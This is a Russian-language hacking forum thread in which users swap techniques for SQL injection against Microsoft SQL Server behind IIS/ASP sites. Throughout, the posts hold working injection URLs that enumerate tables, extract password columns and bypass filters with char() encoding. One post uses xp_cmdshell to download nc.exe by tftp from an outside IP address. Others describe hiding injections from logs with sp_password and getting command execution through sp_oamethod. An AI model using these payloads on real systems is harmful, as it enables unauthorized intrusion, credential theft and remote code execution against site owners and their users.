Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    %2B - это и есть +

    но смысл не в этом, обычно если запрос передается через get + интерпритируется как пробел и при таком:id=1+1 в _GET['id'] зпишится
    Code:
    1 1
    а тут похоже идет через _SERVER['QUERY_STRING'] а потом парсится, при таком раскладе url коды нельзя использовать т.к. они не будут декодироваться а идти в sql запрос так как есть, так что тут как мне кажется вариант только использовать пробелы
     
    1 person likes this.
  2. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Пробелы не получится использовать не урлэнкодя их, ибо тогда сам http запрос не получится, т.к. возникнет ошибка в его синтаксисе и сервер не воспримет его верно.
     
    4 people like this.
  3. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    да, я как то не подумал об этом
    хм, в таком случае получается что ничего не сделаешь...
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    хз почему ну иногда + не пашет а %2B отлично работает, не забывайте то мы говорим как правило, про IIS а не apache.
     
  5. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру:
    exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe'
    Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера.

    P. S. TFTP не поддерживает аутентификацию.
     
    #65 1ten0.0net1, 2 Mar 2008
    Last edited: 2 Mar 2008
    8 people like this.
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    да можно, 1ten0.0net1, вобще много что можно
    добиться даже без использования системных процедур
    главное были бы соответствующие права, а их к большому сожелению, часто не хватает, вот и приходится крутиться, а начет фтп серверов и иже с ними недолго сделать , что бы средствами комманд скачать из сети что нибудь и записать это куда надо, повторюсь, для этого нужны соответствующие права
     
    6 people like this.
  7. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Обход фильтрации, работает только на первой таблице, а на второй выводит следующию ошибку:
    Code:
    http://site.com/conference.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(108)%2Bchar(105)%2Bchar(110)%2Bchar(107)%2Bchar(95)%2Bchar(99)%2Bchar(97)%2Bchar(116)%2Bchar(101)%2Bchar(103)%2Bchar(111)%2Bchar(114)%2Bchar(105)%2Bchar(101)%2Bchar(115),char(97)%2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110)%2Bchar(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(95)%2Bchar(104)%2Bchar(105)%2Bchar(115)%2Bchar(116)%2Bchar(111)%2Bchar(114)%2Bchar(121))--
     
  8. DeepXhadow

    DeepXhadow Elder - Старейшина

    Joined:
    19 Apr 2008
    Messages:
    57
    Likes Received:
    11
    Reputations:
    5
    Подскажите,что значит ошибка [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause при вот такой вот инъекции:
    http://site.com/search/item.asp?itemid=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+e-mail
    Гугль сказал что ошибка бывает при за росах FROM в таблицу,которая зарезервирована MS Access.Например Date и тд.Кроме e-mail никакой другой таблицы не нашел пока.@@version, (select db_name())-- , (select system_user)-- тоже не работает,ругается на syntax.Заранее спасибо.
     
    #68 DeepXhadow, 25 Apr 2008
    Last edited: 25 Apr 2008
  9. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    вот здесь читай:
    http://forum.antichat.ru/thread50550.html
     
  10. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Я с мелкософтовыми продуктами к сожалению не дружу, подскажите плиз, есть ли какая возможность все же выполнить "необходимые" запросы на сайте который выдает к примеру
    на 1=(select db_name()) то что нужно.
    на or 1=@@version - надо писать 1=(select @@version) тогда тоже выдает
    ---------------------
    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
    --------------
    Но гад на select union или к примеру на такой
    or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
    выдает
    Microsoft OLE DB Provider for SQL Server error '80040e21'

    The requested properties cannot be supported.
    -------
    Читал вроде это из-за того что требует dbOwnerPrefix
    хttp://www.aspplayground.net/forum/m375477.aspx
    Но где его вставлять тогда?
    И это имеется ввиду or 1=(select system_user) ?
    Заранее огромное спасибо и конечно с меня +++ ;)

    Решено. Был просто не внимателен. Сорри
     
    #70 tmp, 29 Oct 2008
    Last edited: 30 Oct 2008
  11. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Все же помогите понять один нюанс.
    Запросом на подобии
    Выводятся имена таблиц. все отлично! Так же стандартными методами прочел имена БД. Но когда пришло время узнавать имена колонок.... вот тут получил задачку на которую сегодня весь вечер убил.
    Сервер отвечал
    ---------------
    error '80040e21'

    The requested properties cannot be supported.
    ---------------
    Как при не корректном запросе или если нет такой таблицы(БД и тд)
    Решение нашел вот в таком запросе
    По крайней мере за сегодняшний вечер я наконец увидел название колонки.
    Если просто начинать инжектить с юнион-селект - то запрос выводит вышеприведенную ошибку 80040e21.
    Завтра уже буду дабивать запрос до необходимого рабочего вида, но может кто то поможет понять почему так происходит?

    Небольшое дополнение:
    В общем - если у кого то случается такая бякак как у меня, нет вывода из системных таблиц и некоторых юзерских при or+1=(SELECT+TOP+1.....
    то можно это сделать таким способом:
    Был бы очень благодарен тому кто объяснит почему так происходит при первом примере запроса. А то что то в этих мелкософтовых продуктах как всегда все запутанно и все через ж0пу как я посмотрю)) трудно с нуля все разобрать. :)
     
    #71 tmp, 3 Nov 2008
    Last edited: 3 Nov 2008
  12. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    SFX-SQLi (Select For Xml SQL Injection) - новый способ дампа таблиц за один запрос!
    http://raz0r.name/obzory/select-for-xml-sql-injection/
     
  13. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Спокойно и непринужденно выводил нужные строки с MSSQL, как внезапно на все запросы начинает появляться ошибка:
    Потом через некоторое время она пропадает, но через n-ное кол-во запросов к базе опять появляется. Почему она возникает?
     
  14. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    конструкция вида ;[inj];--sp_password позволяет избежать записи в лог.
    Кроме sp_makewebtask есть sp_oamethod, с помощью которого можно произвести выгрузку содержимого в файл. Кроме того с помощью этой процедуры можно реализовать альтернативу xp_cmdshell без подгрузки внешних dll:
    http://www.motobit.com/tips/detpg_cmdshell/
     
    1 person likes this.
  15. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    да, проверил на локальном MSSQL 2005, действительно не работает

    Каким образом ты собрался запускать bcp для вывода dll в файл? Полагаю, что только с помощью xp_cmdshell.
     
  16. hookman

    hookman Member

    Joined:
    16 Feb 2009
    Messages:
    44
    Likes Received:
    10
    Reputations:
    0
    У меня такой вопрос, если в названии таблицы есть пробелы то как вывести из неё двнные? ибо пишет ошибку синтаксиса. К примеру у меня название таблицы 'RGAuthor (child table)'. При запросе:
    Code:
    http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from+RGAuthor (child table))
    Выдаёт:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'table'.
    
    /resguides/Resguide.asp, line 13 
     
    1 person likes this.
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Кавычки.
     
  18. hookman

    hookman Member

    Joined:
    16 Feb 2009
    Messages:
    44
    Likes Received:
    10
    Reputations:
    0
    запрос:
    Code:
    http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from+'RGAuthor (child table)')
    Ответ:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'RGAuthor (child table)'.
    
    /resguides/Resguide.asp, line 13 
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
  20. hookman

    hookman Member

    Joined:
    16 Feb 2009
    Messages:
    44
    Likes Received:
    10
    Reputations:
    0
    ни хекс ни чар не подходят %)
    Incorrect syntax near '0x5247417574686f7220286368696c64207461626c6529'....